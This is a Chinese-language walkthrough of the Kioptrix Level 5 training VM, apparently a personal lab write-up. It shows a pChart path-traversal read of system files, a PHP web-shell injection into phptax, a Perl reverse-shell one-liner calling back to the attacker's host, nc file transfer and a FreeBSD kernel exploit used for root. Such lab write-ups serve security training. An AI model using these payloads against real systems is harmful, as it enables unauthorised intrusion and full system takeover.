Kioptrix Level 5 Walkthrough

Box Info

官网在这里:Kioptrix: 2014 (#5)

image-20250414184141580

The Hack

目标主机启动后需要输入 ufs:/dev/ada0p2

image-20250414183715240

才算登陆成功

image-20250414183846610

确定存活的主机

nmap -sP 192.168.186.0/24

image-20250414134614134

对目标 IP 进行端口发现

nmap -p- 192.168.186.152

发现开放 80,8080 端口

image-20250414134537101

对开放的端口进行应用版本发现

nmap -p 80,8080 -A 192.168.186.152

80 和 8080 端口开放的服务版本是一样的,但是 8080 端口状态码是 403 Forbidden

image-20250414134749796

那先来看 80 端口,或许能从中找到为什么 8080 端口是 403 状态码

进行目录扫描

dirsearch -u http://192.168.186.152

看起来没有发现什么有用的东西

image-20250414135036362

那就直接访问页面,在源码中发现新的目录 /pChart2.1.3/index.php

image-20250414135131213

访问一下看看,发现被重定向到 /pChart2.1.3/examples/index.php ,看起来 /pChart2.1.3 是网站真正的目录,同时也暴露了该架构的版本为 2.1.3

image-20250414135234747

去搜索一下对应版本是否存在漏洞,在 pChart 2.1.3 - Multiple Vulnerabilities - PHP webapps Exploit 中可以发现存在路径遍历漏洞

image-20250414135622413

利用成功,回显 /etc/passwd ,同时泄露操作系统版本

image-20250414140103044

由于是 Apache 作为 WEB 服务器,那我们可以尝试使用默认路径读取 FreeBSD 的 Apache 配置文件

image-20250414140253529

http://192.168.186.152/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f../usr/local/etc/apache22/httpd.conf

包含成功,发现要访问 8080 需要特定的 User-Agent

image-20250414140356111

开启 burp 拦截,将 User-Agent 更改为 Mozilla/4.0 ,发现 phptax 目录

image-20250414150134654

搜索 phptax 有关漏洞

searchsploit phptax

发现三个有关 payload

image-20250414175813001

在 中能发现漏洞利用过程,先使用

{$url}/index.php?field=rce.php&newvalue=%3C%3Fphp%20passthru(%24_GET%5Bcmd%5D)%3B%3F%3E

在目标主机 /tmp 目录创建 rce.php ,之后使用 cmd 参数命令执行

image-20250414175930362

利用成功

http://192.168.186.152:8080/phptax/data/rce.php?cmd=id

image-20250414183044909

尝试反弹 shell

http://192.168.186.152:8080/phptax/data/rce.php?cmd=perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.186.141:8023");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

成功获得回弹的 shell

image-20250414180217399

由于目标主机不包含 python ,不能升级 TTY shell

查看内核版本发现是 FreeBSD 9.0 ,存在内核提权漏洞

image-20250414180438132

将 exp 下载至本机,由于目标主机没有 wget 命令,但是有 nc 命令

which nc
/usr/bin/nc

使用 nc 传输文件

# 本机
┌──(kali㉿kali)-[~/Desktop]
└─$ nc -nvlp 8888 < 28718.c
listening on [any] 8888 ...
connect to [192.168.186.141] from (UNKNOWN) [192.168.186.152] 41152

# 目标主机
nc -nv 192.168.186.141 8888 > 28718.c

ls -la
total 128
drwxrwxrwx 9 www wheel 512 Apr 14 06:10 .
drwxrwxrwx 8 www wheel 512 Mar 28 2014 ..
drwxrwxrwx 12 www wheel 512 May 7 2003 1040
-rw-r--r-- 1 www wheel 5563 Apr 14 06:09 28718.c
drwxrwxrwx 2 www wheel 512 May 7 2003 SchA
drwxrwxrwx 2 www wheel 512 May 7 2003 SchB
drwxrwxrwx 6 www wheel 512 May 7 2003 SchD
drwxrwxrwx 4 www wheel 512 May 7 2003 SchD1
drwxrwxrwx 7 www wheel 512 May 7 2003 W2
drwxrwxrwx 2 www wheel 1536 Mar 26 2014 pdf
-rw-r--r-- 1 www wheel 29 Apr 14 05:34 rce.php
-rw-r--r-- 1 www wheel 29 Apr 14 05:45 shell.php

image-20250414182258978

使用目标主机自带 gcc 编译并赋予可执行权限,执行获得 root 权限

gcc gcc 28718.c -o exp
chmod +x exp
./exp

image-20250414181411716

获得 flag

ls -la /root
cat /root/congrats.txt

image-20250414181815671